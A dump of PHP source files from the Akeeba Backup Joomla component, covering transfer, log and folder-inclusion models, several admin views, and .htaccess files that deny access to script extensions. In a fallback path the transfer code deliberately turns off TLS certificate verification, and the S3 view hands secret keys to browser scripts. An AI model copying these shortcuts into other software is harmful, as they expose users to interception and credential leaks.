				$results = dns_get_record($hostname, DNS_AAAA);
			}

			// No DNS records. So, that's why fetching data failed!
			self::$domainResolvable[$hostname] = (is_array($results) || $results instanceof Countable ? count($results)
					: 0) > 0;
		}

		// If the domain doesn't resolve complain loudly.
		if (!self::$domainResolvable[$hostname])
		{
			throw new TransferFatalError(Text::sprintf('COM_AKEEBABACKUP_TRANSFER_ERR_DNS', $hostname));
		}

		/**
		 * The DNS resolution worked. A different error has occurred. Unfortunately, we don't know WHAT happened so we
		 * will make an assumption that the problem is that the TLS/SSL certificate is invalid (e.g. wrong Common Name)
		 * or self-signed. We are going to use the PHP URL fopen wrappers to try and run the request regardless. This is
		 * not very secure but, as we said, it's an unfortunate reality of how this feature is used :(
		 */
		// Add necessary headers
		if (!isset($headers['Content-Type']))
		{
			$headers['Content-Type'] = 'application/x-www-form-urlencoded; charset=utf-8';
		}

		$headers['Content-Length'] = function_exists('mb_strlen') ? \mb_strlen($data, 'ASCII') : \strlen($data);

		// Headers are provided as a dictionary. PHP expects them as a plain array of "Header-Name: Value" entries.
		$headers = array_map(
			function ($k, $v) {
				if (is_numeric($k) && strpos($v, ':') !== false)
				{
					return $v;
				}

				return $k . ':' . $v;
			}, array_keys($headers), array_values($headers)
		);

		$contextOptions = $this->getProxyStreamContext();
		$contextOptions = array_merge_recursive(
			$contextOptions, [
				'http' => [
					'method'          => 'POST',
					'content'         => $data,
					'timeout'         => $timeout,
					'follow_location' => 1,
					'header'          => array_values($headers),
				],
				'ssl'  => [
					'verify_peer'      => false,
					'verify_peer_name' => false,
				],
			]
		);

		// Create the context and run the request
		$context = stream_context_create($contextOptions);

		return @file_get_contents($url, false, $context) ?: null;
	}
}PK     \Sʉ        src/Model/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \2    !  src/Model/IncludefoldersModel.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Model;

defined('_JEXEC') or die;

use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ModelExclusionFilterTrait;
use Akeeba\Engine\Factory;
use Exception;
use Joomla\CMS\Factory as JoomlaFactory;
use Joomla\CMS\MVC\Model\BaseModel;

#[\AllowDynamicProperties]
class IncludefoldersModel extends BaseModel
{
	use ModelExclusionFilterTrait;

	/**
	 * Method to get state variables. Uses application input if the state is not set.
	 *
	 * @param   null   $property  Optional parameter name
	 * @param   mixed  $default   Optional default value
	 *
	 * @return  mixed  The property where specified, the state object where omitted
	 *
	 * @since   4.0.0
	 */
	public function getState($property = null, $default = null)
	{
		try
		{
			$default = JoomlaFactory::getApplication()->getInput()
				->get($property, $default, is_array($default) ? 'array' : 'raw');
		}
		catch (Exception $e)
		{
		}

		return parent::getState($property, $default);
	}

	/**
	 * Returns an array containing a list of directories definitions
	 *
	 * @return  array  Array of definitions; The key contains the internal root name, the data is the directory path
	 */
	public function get_directories(): array
	{
		// Get database inclusion filters
		$filter = Factory::getFilterObject('extradirs');

		return $filter->getInclusions('dir');
	}

	/**
	 * Automatically rebase included folders to use path variables like [SITEROOT] and [ROOTPARENT]
	 *
	 * @return  void
	 * @since   7.3.3
	 */
	public function rebaseFiltersToSiteDirs(): void
	{
		$includeFolders = $this->get_directories();

		foreach ($includeFolders as $uuid => $def)
		{
			$originalDir  = $def[0];
			$convertedDir = Factory::getFilesystemTools()->rebaseFolderToStockDirs($originalDir);

			if ($originalDir == $convertedDir)
			{
				continue;
			}

			$def[0] = $convertedDir;
			$this->setFilter($uuid, $def);
		}
	}

	/**
	 * Delete a database definition
	 *
	 * @param   string  $uuid  The external directory's filter root key (UUID) to remove
	 *
	 * @return  array
	 */
	public function remove(string $uuid): array
	{
		// Special case (empty UUID): New row is added, so the GUI tries to delete the default (empty) record
		if (empty($uuid))
		{
			return ['success' => true, 'newstate' => true];
		}

		return $this->applyExclusionFilter('extradirs', $uuid, null, 'remove');
	}

	/**
	 * Creates a new database definition
	 *
	 * @param   string  $uuid  The external directory's filter root key (UUID) to remove
	 * @param   array   $data  The root and path to the external directory we're adding
	 *
	 * @return  array
	 */
	public function setFilter(string $uuid, array $data): array
	{
		return $this->applyExclusionFilter('extradirs', $uuid, $data, 'set');
	}

	/**
	 * Handles a request coming in through AJAX. Basically, this is a simple proxy to the model methods.
	 *
	 * @return  array
	 */
	public function doAjax(): array
	{
		$action = $this->getState('action');
		$verb   = array_key_exists('verb', $action) ? $action['verb'] : null;

		$ret_array = [];

		switch ($verb)
		{
			// Set a filter (used by the editor)
			case 'set':
				$new_data = [
					0 => Factory::getFilesystemTools()->rebaseFolderToStockDirs($action['root']),
					1 => $action['data'],
				];

				// Set the new root
				$ret_array = $this->setFilter($action['uuid'], $new_data);

				break;

			// Remove a filter (used by the editor)
			case 'remove':
				$ret_array = $this->remove($action['uuid']);

				break;
		}

		return $ret_array;
	}

}PK     \ae  e    src/Model/LogModel.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Model;

defined('_JEXEC') || die;

use Akeeba\Engine\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Model\BaseDatabaseModel;

#[\AllowDynamicProperties]
class LogModel extends BaseDatabaseModel
{
	/**
	 * Get an array with the names of all log files in this backup profile
	 *
	 * @param   bool  $onlyFailed  Should I only return the log files of backups marked as failed?
	 *
	 * @return  string[]
	 */
	public function getLogFiles(bool $onlyFailed = false): array
	{
		$configuration = Factory::getConfiguration();
		$outputDir     = $configuration->get('akeeba.basic.output_directory');

		$files = Factory::getFileLister()->getFiles($outputDir);
		$ret   = [];

		if (empty($files) || !is_array($files))
		{
			return $ret;
		}

		foreach ($files as $filename)
		{
			$baseName         = basename($filename);
			$startsWithAkeeba = substr($baseName, 0, 7) == 'akeeba.';
			$endsWithLog      = substr($baseName, -4) == '.log';
			$endsWithPhpLog   = substr($baseName, -8) == '.log.php';
			$isDefaultLog     = $baseName == 'akeeba.log';

			if ($startsWithAkeeba && ($endsWithLog || $endsWithPhpLog) && !$isDefaultLog)
			{
				/**
				 * Extract the tag from the filename (akeeba.tag.log or akeeba.tag.log.php)
				 *
				 * We ignore the first seven characters ("akeeba.") and the last X characters, where X is 8 if the
				 * log file name ends with .log.php or 4 if the log name ends with .log.
				 */
				$tag = substr($baseName, 7, -($endsWithPhpLog ? 8 : 4));

				if (empty($tag))
				{
					continue;
				}

				$parts = explode('.', $tag);
				$key   = array_pop($parts);
				$key   = str_replace('id', '', $key);
				$key   = is_numeric($key) ? sprintf('%015u', $key) : $key;

				if (empty($parts))
				{
					$key = str_repeat('0', 15) . '.' . $key;
				}
				else
				{
					$key .= '.' . implode('.', $parts);
				}

				$ret[$key] = $tag;
			}
		}

		if ($onlyFailed)
		{
			$ret = $this->keepOnlyFailedLogs($ret);
		}

		krsort($ret);

		return $ret;
	}

	/**
	 * Gets the JHtml options list for selecting a log file
	 *
	 * @param   bool  $onlyFailed  Should I only return the log files of backups marked as failed?
	 *
	 * @return  array
	 */
	public function getLogList(bool $onlyFailed = false): array
	{
		$origin  = null;
		$options = [];

		$list = $this->getLogFiles($onlyFailed);

		if (!empty($list))
		{
			$options[] = HTMLHelper::_('select.option', null, Text::_('COM_AKEEBABACKUP_LOG_CHOOSE_FILE_VALUE'));

			foreach ($list as $item)
			{
				$text = Text::_('COM_AKEEBABACKUP_BUADMIN_LABEL_ORIGIN_' . $item);

				if (strstr($item, '.') !== false)
				{
					[$origin, $backupId] = explode('.', $item, 2);

					$text = Text::_('COM_AKEEBABACKUP_BUADMIN_LABEL_ORIGIN_' . $origin) . ' (' . $backupId . ')';
				}

				$options[] = HTMLHelper::_('select.option', $item, $text);
			}
		}

		return $options;
	}

	/**
	 * Output the raw text log file to the standard output without the PHP die header
	 *
	 * @param   bool  $withHeader  Should I include a header telling the user how to submit this file?
	 *
	 * @return  void
	 */
	public function echoRawLog($withHeader = true)
	{
		$tag     = $this->getState('tag', '');
		$logFile = Factory::getLog()->getLogFilename($tag);

		if ($withHeader)
		{
			echo "WARNING: Do not copy and paste lines from this file!\r\n";
			echo "You are supposed to ZIP and attach it in your support forum post.\r\n";
			echo "If you fail to do so, we will be unable to provide efficient support.\r\n";
			echo "\r\n";
			echo "--- START OF RAW LOG --\r\n";
		}

		// The at sign (silence operator) is necessary to prevent PHP showing a warning if the file doesn't exist or
		// isn't readable for any reason.
		$fp = @fopen($logFile, 'r');

		if ($fp === false)
		{
			if ($withHeader)
			{
				echo "--- END OF RAW LOG ---\r\n";
			}

			return;
		}

		$firstLine = @fgets($fp);
		if (substr($firstLine, 0, 5) != '<' . '?' . 'php')
		{
			@fclose($fp);
			@readfile($logFile);
		}
		else
		{
			while (!feof($fp))
			{
				echo rtrim(fgets($fp)) . "\r\n";
			}

			@fclose($fp);
		}

		if ($withHeader)
		{
			echo "--- END OF RAW LOG ---\r\n";
		}
	}

	protected function keepOnlyFailedLogs($logs)
	{
		$db            = $this->getDatabase();
		$query         = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
		                    ->select([
			                    $db->quoteName('tag'),
			                    $db->quoteName('backupid'),
		                    ])
		                    ->from($db->quoteName('#__akeebabackup_backups'))
		                    ->where($db->quoteName('status') . ' = ' . $db->quote('fail'));
		$failedBackups = $db->setQuery($query)->loadObjectList() ?: [];

		if (empty($failedBackups))
		{
			return [];

		}

		$failedBackups = array_map(function ($o) {
			$tag = $o->tag ?? '';

			return $tag . (empty($tag) ? '' : '.') . $o->backupid;
		}, $failedBackups);

		return array_intersect($logs, $failedBackups);
	}

}PK     \gwm1'  1'    src/View/Transfer/HtmlView.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\View\Transfer;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ViewLoadAnyTemplateTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ViewTaskBasedEventsTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ViewToolbarTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Model\TransferModel;
use DateTimeZone;
use Joomla\CMS\Application\CMSApplication;
use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Toolbar\ToolbarHelper;

#[\AllowDynamicProperties]
class HtmlView extends BaseHtmlView
{
	use ViewTaskBasedEventsTrait;
	use ViewLoadAnyTemplateTrait;
	use ViewToolbarTrait;

	/** @var   array|null  Information for the backup the wizard will transfer */
	public $latestBackup = [];

	/** @var   int  The specific backup record ID selected for transfer, or 0 when using the latest backup */
	public $selectedBackupId = 0;

	/** @var   string  Date of the latest backup, human readable */
	public $lastBackupDate = '';

	/** @var   array  Space required on the target server */
	public $spaceRequired = [
		'size'   => 0,
		'string' => '0.00 Kb',
	];

	/** @var   string  The URL to the site we are restoring to (from the session) */
	public $newSiteUrl = '';

	/** @var   string */
	public $newSiteUrlResult = '';

	/** @var   array  Results of support and firewall status of the known file transfer methods */
	public $ftpSupport = [
		'supported'  => [
			'ftp'  => false,
			'ftps' => false,
			'sftp' => false,
		],
		'firewalled' => [
			'ftp'  => false,
			'ftps' => false,
			'sftp' => false,
		],
	];

	/** @var   array  Available transfer options, for use by JHTML */
	public $transferOptions = [];

	/** @var   array  Available chunk options, for use by JHTML */
	public $chunkOptions = [];

	/** @var   array  Available chunk size options, for use by JHTML */
	public $chunkSizeOptions = [];

	/** @var   bool  Do I have supported but firewalled methods? */
	public $hasFirewalledMethods = false;

	/** @var   string  Currently selected transfer option */
	public $transferOption = 'manual';

	/** @var   string  Currently selected chunk option */
	public $chunkMode = 'chunked';

	/** @var   string  Currently selected chunk size */
	public $chunkSize = 5242880;

	/** @var   string  FTP/SFTP host name */
	public $ftpHost = '';

	/** @var   string  FTP/SFTP port (empty for default port) */
	public $ftpPort = '';

	/** @var   string  FTP/SFTP username */
	public $ftpUsername = '';

	/** @var   string  FTP/SFTP password – or certificate password if you're using SFTP with SSL certificates */
	public $ftpPassword = '';

	/** @var   string  SFTP public key certificate path */
	public $ftpPubKey = '';

	/** @var   string  SFTP private key certificate path */
	public $ftpPrivateKey = '';

	/** @var   string  FTP/SFTP directory to the new site's root */
	public $ftpDirectory = '';

	/** @var   string  FTP passive mode (default is true) */
	public $ftpPassive = true;

	/** @var   string  FTP passive mode workaround, for FTP/FTPS over cURL (default is true) */
	public $ftpPassiveFix = true;

	/** @var   int     Forces the transfer by skipping some checks on the target site */
	public $force = 0;

	/**
	 * Translations to pass to the view
	 *
	 * @var  array
	 */
	public $translations = [];

	public function booleanSwitch(string $name, int $selected = 0, string $class = ''): string
	{
		$layoutVariables = [
			'class'   => $class,
			'id'      => $name,
			'name'    => $name,
			'value'   => $selected,
			'options' => [
				HTMLHelper::_('select.option', 0, Text::_('JNO')),
				HTMLHelper::_('select.option', 1, Text::_('JYES')),
			],
		];

		return LayoutHelper::render('joomla.form.field.radio.switcher', $layoutVariables);
	}

	protected function onBeforeMain()
	{
		$this->addToolbar();

		$this->getDocument()->getWebAssetManager()
			->useScript('com_akeebabackup.transfer');

		/** @var CMSApplication $app */
		$app     = Factory::getApplication();
		$session = $app->getSession();

		/** @var TransferModel $model */
		$model = $this->getModel();

		$this->latestBackup     = $model->getTransferBackupInformation();
		$this->selectedBackupId = (int) $session->get('akeebabackup.transfer.backupId', 0);
		$this->spaceRequired    = $model->getApproximateSpaceRequired();
		$this->newSiteUrl       = $session->get('akeebabackup.transfer.url', '');
		$this->newSiteUrlResult = $session->get('akeebabackup.transfer.url_status', '');
		$this->ftpSupport       = $session->get('akeebabackup.transfer.ftpsupport', null);
		$this->transferOption   = $session->get('akeebabackup.transfer.transferOption', null);
		$this->chunkMode        = $session->get('akeebabackup.transfer.chunkMode', 'chunked');
		$this->chunkSize        = $session->get('akeebabackup.transfer.chunkSize', 5242880);
		$this->ftpHost          = $session->get('akeebabackup.transfer.ftpHost', null);
		$this->ftpPort          = $session->get('akeebabackup.transfer.ftpPort', null);
		$this->ftpUsername      = $session->get('akeebabackup.transfer.ftpUsername', null);
		$this->ftpPassword      = $session->get('akeebabackup.transfer.ftpPassword', null);
		$this->ftpPubKey        = $session->get('akeebabackup.transfer.ftpPubKey', null);
		$this->ftpPrivateKey    = $session->get('akeebabackup.transfer.ftpPrivateKey', null);
		$this->ftpDirectory     = $session->get('akeebabackup.transfer.ftpDirectory', null);
		$this->ftpPassive       = $session->get('akeebabackup.transfer.ftpPassive', 1);
		$this->ftpPassiveFix    = $session->get('akeebabackup.transfer.ftpPassiveFix', 1);

		if (!empty($this->latestBackup))
		{
			$user           = Factory::getApplication()->getIdentity();
			$lastBackupDate = clone Factory::getDate($this->latestBackup['backupstart'], 'UTC');
			$tz             = new DateTimeZone($user->getParam('timezone', $app->get('offset')));
			$lastBackupDate->setTimezone($tz);

			$this->lastBackupDate = $lastBackupDate->format(Text::_('DATE_FORMAT_LC2'), true);

			$session->set('akeebabackup.transfer.lastBackup', $this->latestBackup);
		}

		if (empty($this->ftpSupport))
		{
			$this->ftpSupport = $model->getFTPSupport();

			$session->set('akeebabackup.transfer.ftpsupport', $this->ftpSupport);
		}

		$this->transferOptions  = $this->getTransferMethodOptions();
		$this->chunkOptions     = $this->getChunkOptions();
		$this->chunkSizeOptions = $this->getChunkSizeOptions();
		$randomPrefix  = $model->makeRandomPrefix();

		Text::script('COM_AKEEBABACKUP_FILEFILTERS_LABEL_UIROOT');
		Text::script('COM_AKEEBABACKUP_CONFIG_DIRECTFTP_TEST_FAIL');

		$this->getDocument()
			->addScriptOptions('akeebabackup.System.params.AjaxURL', Route::_(sprintf("index.php?option=com_akeebabackup&view=Transfer&format=raw&force=%d", $this->force), false, Route::TLS_IGNORE, true))
			->addScriptOptions('akeebabackup.Transfer.lastUrl', $this->newSiteUrl)
			->addScriptOptions('akeebabackup.Transfer.lastResult', $this->newSiteUrlResult)
			->addScriptOptions('akeebabackup.transfer', ['randomName' => $randomPrefix . '.php']);
	}

	/**
	 * Returns the JHTML options for a transfer methods drop-down, filtering out the unsupported and firewalled methods
	 *
	 * @return   array
	 */
	private function getTransferMethodOptions(): array
	{
		$options = [];

		foreach ($this->ftpSupport['supported'] as $method => $supported)
		{
			if (!$supported)
			{
				continue;
			}

			$methodName = Text::_('COM_AKEEBABACKUP_TRANSFER_LBL_TRANSFERMETHOD_' . $method);

			if ($this->ftpSupport['firewalled'][$method])
			{
				$methodName = '&#128274; ' . $methodName;
			}

			$options[] = HTMLHelper::_('select.option', $method, $methodName);
		}

		$options[] = HTMLHelper::_('select.option', 'manual', Text::_('COM_AKEEBABACKUP_TRANSFER_LBL_TRANSFERMETHOD_MANUALLY'));

		return $options;
	}

	/**
	 * Returns the JHTML options for a chunk methods drop-down
	 *
	 * @return   array
	 */
	private function getChunkOptions(): array
	{
		$options = [];

		$options[] = ['value' => 'chunked', 'text' => Text::_('COM_AKEEBABACKUP_TRANSFER_LBL_TRANSFERMODE_CHUNKED')];
		$options[] = ['value' => 'post', 'text' => Text::_('COM_AKEEBABACKUP_TRANSFER_LBL_TRANSFERMODE_POST')];

		return $options;
	}

	/**
	 * Returns the JHTML options for a chunk size drop-down
	 *
	 * @return   array
	 */
	private function getChunkSizeOptions(): array
	{
		$options    = [];
		$multiplier = 1048576;

		$options[] = ['value' => 0.5 * $multiplier, 'text' => '512 KB'];
		$options[] = ['value' => 1 * $multiplier, 'text' => '1 MB'];
		$options[] = ['value' => 2 * $multiplier, 'text' => '2 MB'];
		$options[] = ['value' => 5 * $multiplier, 'text' => '5 MB'];
		$options[] = ['value' => 10 * $multiplier, 'text' => '10 MB'];
		$options[] = ['value' => 20 * $multiplier, 'text' => '20 MB'];
		$options[] = ['value' => 30 * $multiplier, 'text' => '30 MB'];
		$options[] = ['value' => 50 * $multiplier, 'text' => '50 MB'];
		$options[] = ['value' => 100 * $multiplier, 'text' => '100 MB'];

		return $options;
	}

	private function addToolbar(): void
	{
		$toolbar = $this->getToolbarCompat();
		ToolbarHelper::title(Text::_('COM_AKEEBABACKUP_TRANSFER'), 'icon-akeeba');

		$toolbar->back()
			->text('COM_AKEEBABACKUP_CONTROLPANEL')
			->icon('fa fa-' . (Factory::getApplication()->getLanguage()->isRtl() ? 'arrow-right' : 'arrow-left'))
			->url('index.php?option=com_akeebabackup');

		$toolbar->link(
			'COM_AKEEBABACKUP_TRANSFER_BTN_RESET',
			Route::_('index.php?option=com_akeebabackup&view=Transfer&task=reset', false)
		)->icon('icon-refresh');

		$toolbar->help(null, false, 'https://www.akeeba.com/documentation/akeeba-backup-joomla/using-akeeba-backup-component.html#menu-transfer');
	}

}PK     \Sʉ        src/View/Transfer/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \kY      src/View/S3import/HtmlView.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\View\S3import;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ViewLoadAnyTemplateTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ViewTaskBasedEventsTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ViewToolbarTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Model\S3importModel;
use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Toolbar\ToolbarHelper;
use Joomla\Session\SessionInterface;

#[\AllowDynamicProperties]
class HtmlView extends BaseHtmlView
{
	use ViewTaskBasedEventsTrait;
	use ViewLoadAnyTemplateTrait;
	use ViewToolbarTrait;

	public $s3access;

	public $s3secret;

	public $buckets;

	public $bucketSelect;

	public $contents;

	public $root;

	public $crumbs;

	public $total;

	public $done;

	public $percent;

	public $total_parts;

	public $current_part;

	public function onBeforeMain()
	{
		$this->addToolbar();

		$this->getDocument()->getWebAssetManager()
			->useScript('com_akeebabackup.s3import');

		/** @var S3importModel $model */
		$model = $this->getModel();

		// Assign variables
		$this->s3access     = $model->getState('s3access');
		$this->s3secret     = $model->getState('s3secret');
		$this->buckets      = $model->getBuckets();
		$this->bucketSelect = $this->getBucketsDropdown();
		$this->contents     = $model->getContents();
		$this->root         = $model->getState('folder');
		$this->crumbs       = $model->getCrumbs();

		// Script options
		$this->getDocument()
			->addScriptOptions('akeebabackup.S3import.accessKey', $this->s3access)
			->addScriptOptions('akeebabackup.S3import.secretKey', $this->s3secret)
			->addScriptOptions('akeebabackup.S3import.importURL', Route::_(
				sprintf(
					"index.php?option=com_akeebabackup&view=S3import&task=dltoserver&part=-1&frag=-1&layout=downloading&%s=1",
					Factory::getApplication()->getFormToken()
				), false, Route::TLS_IGNORE, true));
	}

	public function onBeforeDltoserver()
	{
		$this->addToolbar();

		$this->getDocument()->getWebAssetManager()
			->useScript('com_akeebabackup.s3import');

		$this->setLayout('downloading');

		/** @var S3importModel $model */
		$model = $this->getModel();

		/** @var SessionInterface $session */
		$session = Factory::getApplication()->getSession();

		$total = $session->get('com_akeebabackup.s3import.totalsize', 0);
		$done  = $session->get('com_akeebabackup.s3import.donesize', 0);
		$part  = $session->get('com_akeebabackup.s3import.part', 0) + 1;
		$parts = $session->get('com_akeebabackup.s3import.totalparts', 0);

		$percent = 0;

		if ($total > 0)
		{
			$percent = (int) (100 * ($done / $total));
			$percent = max(0, $percent);
			$percent = min($percent, 100);
		}

		$this->total        = $total;
		$this->done         = $done;
		$this->percent      = $percent;
		$this->total_parts  = $parts;
		$this->current_part = $part;

		// Add an immediate redirection URL as a script option
		$step     = (int) $model->getState('step', 1) + 1;
		$location = Route::_('index.php?option=com_akeebabackup&view=S3import&layout=downloading&task=dltoserver&step=' . $step, false, Route::TLS_IGNORE, true);
		$this->getDocument()
			->addScriptOptions('akeebabackup.S3import.autoRedirectURL', $location);
	}

	/**
	 * Get the Joomla HTML drop-down for the S3 buckets
	 *
	 * @return mixed
	 */
	public function getBucketsDropdown()
	{
		/** @var S3importModel $model */
		$model     = $this->getModel();
		$options   = [];
		$buckets   = $model->getBuckets();
		$options[] = HTMLHelper::_('select.option', '', Text::_('COM_AKEEBABACKUP_S3IMPORT_LABEL_SELECTBUCKET'));

		if (!empty($buckets))
		{
			foreach ($buckets as $b)
			{
				$options[] = HTMLHelper::_('select.option', $b, $b);
			}
		}

		$selected = $model->getState('s3bucket', '');

		return HTMLHelper::_('select.genericlist', $options, 's3bucket', [
			'list.attr' => [
				'class' => 'form-select',
			],
		], 'value', 'text', $selected);
	}

	private function addToolbar(): void
	{
		$toolbar = $this->getToolbarCompat();
		ToolbarHelper::title(Text::_('COM_AKEEBABACKUP_S3IMPORT'), 'icon-akeeba');

		$toolbar->back()
			->text('COM_AKEEBABACKUP_CONTROLPANEL')
			->icon('fa fa-' . (Factory::getApplication()->getLanguage()->isRtl() ? 'arrow-right' : 'arrow-left'))
			->url('index.php?option=com_akeebabackup');

		$toolbar->help(null, false, 'https://www.akeebabackup .com/documentation/akeeba-backup-joomla/import-s3.html');
	}

}PK     \Sʉ        src/View/S3import/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \Ey(  y(  "  src/View/Controlpanel/HtmlView.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\View\Controlpanel;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\Helper\Status;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ViewLoadAnyTemplateTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ViewProfileIdAndNameTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ViewProfileListTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ViewToolbarTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Model\ControlpanelModel;
use Akeeba\Component\AkeebaBackup\Administrator\Model\UpdatesModel;
use Akeeba\Component\AkeebaBackup\Administrator\Model\UpgradeModel;
use Akeeba\Component\AkeebaBackup\Administrator\Model\UsagestatsModel;
use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use Joomla\CMS\Application\CMSApplication;
use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView;
use Joomla\CMS\Toolbar\ToolbarHelper;
use Joomla\CMS\User\User;
use Joomla\Session\Session;
use Throwable;

#[\AllowDynamicProperties]
class HtmlView extends BaseHtmlView
{
	use ViewProfileListTrait;
	use ViewProfileIdAndNameTrait;
	use ViewLoadAnyTemplateTrait;
	use ViewToolbarTrait;

	/**
	 * List of profiles to display as Quick Icons in the control panel page
	 *
	 * @var   array  Array of stdClass objects
	 */
	public $quickIconProfiles = [];

	/**
	 * The HTML for the backup status cell
	 *
	 * @var   string
	 */
	public $statusCell = '';

	/**
	 * HTML for the warnings (status details)
	 *
	 * @var   string
	 */
	public $detailsCell = '';

	/**
	 * Details of the latest backup as HTML
	 *
	 * @var   string
	 */
	public $latestBackupCell = '';

	/**
	 * Do I have to ask the user to fix the permissions?
	 *
	 * @var   bool
	 */
	public $areMediaPermissionsFixed = false;

	/**
	 * Do I have to ask the user to provide a Download ID?
	 *
	 * @var   bool
	 */
	public $needsDownloadID = false;

	/**
	 * Did a Core edition user provide a Download ID instead of installing Akeeba Backup Professional?
	 *
	 * @var   bool
	 */
	public $coreWarningForDownloadID = false;

	/**
	 * Our extension ID
	 *
	 * @var   int
	 */
	public $extension_id = 0;

	/**
	 * Should I have the browser ask for desktop notification permissions?
	 *
	 * @var   bool
	 */
	public $desktopNotifications = false;

	/**
	 * If front-end backup is enabled and the secret word has an issue (too insecure) we populate this variable
	 *
	 * @var  string
	 */
	public $frontEndSecretWordIssue = '';

	/**
	 * In case the existing Secret Word is insecure we generate a new one. This variable contains the new Secret Word.
	 *
	 * @var  string
	 */
	public $newSecretWord = '';

	/**
	 * Is the mbstring extension installed and enabled? This is required by Joomla and Akeeba Backup to correctly work
	 *
	 * @var  bool
	 */
	public $checkMbstring = true;

	/**
	 * The fancy formatted changelog of the component
	 *
	 * @var  string
	 */
	public $formattedChangelog = '';

	/**
	 * Should I pormpt the user ot run the configuration wizard?
	 *
	 * @var  bool
	 */
	public $promptForConfigurationwizard = false;

	/**
	 * How many warnings do I have to display?
	 *
	 * @var  int
	 */
	public $countWarnings = 0;

	/**
	 * Cache the user permissions
	 *
	 * @var   array
	 *
	 * @since 5.3.0
	 */
	public $permissions = [];

	/**
	 * Timestamp when the Core user last dismissed the upsell to Pro
	 *
	 * @var   int
	 * @since 7.0.0
	 */
	public $lastUpsellDismiss = 0;

	/**
	 * Is the output directory under the site's root?
	 *
	 * @var   bool
	 * @since 7.0.3
	 */
	public $isOutputDirectoryUnderSiteRoot = false;

	/**
	 * Does the output directory have the expected security files?
	 *
	 * @var   bool
	 * @since 7.0.3
	 */
	public $hasOutputDirectorySecurityFiles = false;

	/**
	 * Can I upgrade from Akeeba Backup 7 or 8?
	 *
	 * @var   bool
	 * @since 9.0.0
	 */
	public $canUpgradeFromAkeebaBackup8 = false;

	/** @var int Update site ID */
	public $updateSiteId = 0;

	/** @var int|null Extension ID for the obsolete Akeeba Backup 8 package */
	public $akeebaBackup8PackageId = 0;

	public function display($tpl = null)
	{
		$this->addToolbar();

		/** @var ControlpanelModel $model */
		$model = $this->getModel();

		$statusHelper      = Status::getInstance();

		try
		{
			/** @var UsagestatsModel $usageStatsModel */
			$this
				->getModel('Usagestats')
				->collectStatistics();
		}
		catch (Throwable $e)
		{
			// This is allowed to fail gracefully.
		}

		$this->getProfileList();
		$this->getProfileIdAndName();

		/** @var CMSApplication $app */
		$app = \Joomla\CMS\Factory::getApplication();
		/** @var Session $session */
		$session = $app->getSession();
		$params  = ComponentHelper::getParams('com_akeebabackup');

